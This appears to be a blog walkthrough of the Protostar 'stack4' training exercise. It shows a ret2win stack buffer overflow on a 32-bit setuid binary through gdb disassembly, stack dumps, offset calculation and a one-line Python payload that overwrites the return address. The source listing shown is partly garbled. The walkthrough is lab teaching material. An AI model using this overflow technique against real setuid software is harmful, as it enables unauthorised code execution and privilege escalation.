protostar - stack 4

2 minute read

Lets check the file type of our binary,

$ file stack4
stack4: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped

Lets try running it,

$ ./stack4
$ ./stack4
Segmentation fault

It crashes the binary if we pass random junk

So buffer overflow occurs here

Lets view the source code for proper understanding,

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
  printf("code flow successfully changed\n");

int main(int argc, char **argv)
  char buffer[64];


By seeing this code we can say this is a simple ret2win buffer overflow

Lets analyse the binary using debuggers,

Disassembling main(),

(gdb) disas main
Dump of assembler code for function main:
0x08048408 <main+0>:	push   ebp
0x08048409 <main+1>:	mov    ebp,esp
0x0804840b <main+3>:	and    esp,0xfffffff0
0x0804840e <main+6>:	sub    esp,0x50
0x08048411 <main+9>:	lea    eax,[esp+0x10]
0x08048415 <main+13>:	mov    DWORD PTR [esp],eax
0x08048418 <main+16>:	call   0x804830c <gets@plt>
0x0804841d <main+21>:	leave
0x0804841e <main+22>:	ret
End of assembler dump.

Disassembling win(),

(gdb) disas win
Dump of assembler code for function win:
0x080483f4 <win+0>:	push   ebp
0x080483f5 <win+1>:	mov    ebp,esp
0x080483f7 <win+3>:	sub    esp,0x18
0x080483fa <win+6>:	mov    DWORD PTR [esp],0x80484e0
0x08048401 <win+13>:	call   0x804832c <puts@plt>
0x08048406 <win+18>:	leave
0x08048407 <win+19>:	ret
End of assembler dump.

Here buffer space is allocated by,

0x08048411 <main+9>:	lea    eax,[esp+0x10]

Lets calculate the buffer space,

sub    esp,0x50
0x08048411 <main+9>:	lea    eax,[esp+0x10]
0x08048415 <main+13>:	mov    DWORD PTR [esp],eax
>>> print(0x50-0x10)

So the buffer space is 64 bytes

To pass the program we need to return to win() function

For a typical buffer overflow, we need to overwrite Buffer Space (buffer) + Extra Space(If there) + Base Pointer (BP) + Instruction Pointer (IP)

Lets analyse it by setting breakpoint,

(gdb) b *0x0804841d
Breakpoint 1 at 0x804841d: file stack4/stack4.c, line 16.
(gdb) r
Starting program: /opt/protostar/bin/stack4

Breakpoint 1, main (argc=1, argv=0xbffffd14) at stack4/stack4.c:16
16	stack4/stack4.c: No such file or directory.
	in stack4/stack4.c
(gdb) x/2wx $ebp
0xbffffc68:	0xbffffce8	0xb7eadc76

0xbffffce8 is the Base Pointer

0xb7eadc76 is the Instruction Pointer

Lets view our stack values,

(gdb) x/30x $esp
0xbffffc10:	0xbffffc20	0xb7ec6165	0xbffffc28	0xb7eada75
0xbffffc20:	0x41414141	0x42424242	0x43434343	0x44444444
0xbffffc30:	0x45454545	0x46464646	0xbffffc00	0x08048449
0xbffffc40:	0xb7fd8304	0xb7fd7ff4	0x08048430	0xbffffc68
0xbffffc50:	0xb7ec6365	0xb7ff1040	0x0804843b	0xb7fd7ff4
0xbffffc60:	0x08048430	0x00000000	0xbffffce8	0xb7eadc76
0xbffffc70:	0x00000001	0xbffffd14	0xbffffd1c	0xb7fe1848
0xbffffc80:	0xbffffcd0	0xffffffff

So our input starts at 0xbffffc20 and BP is at 0xbffffc69 in our stack

Difference between starting point of our buffer and base pointer is,

>>> print(0xbffffc69-0xbffffc20)
>>> print(0xbffffc68-0xbffffc20)

So we need 72 bytes from buffer to reach Base Pointer

Length of buffer to Base Pointer = 64 bytes

Length of Base Pointer = 4 bytes

Length of Instruction Pointer = 4 bytes

Lets try to overwrite it with junk values,

Our win() is located at 0x080483f4

We need to overwrite Instruction Pointer(IP) with 0x080483f4 for successful redirection to win()

Lets try our exploit,

$ python -c "print('A'*72+'B'*4+'\xf4\x83\x04\x08')" | ./stack4
code flow successfully changed
Segmentation fault

Done! we have completed “stack4”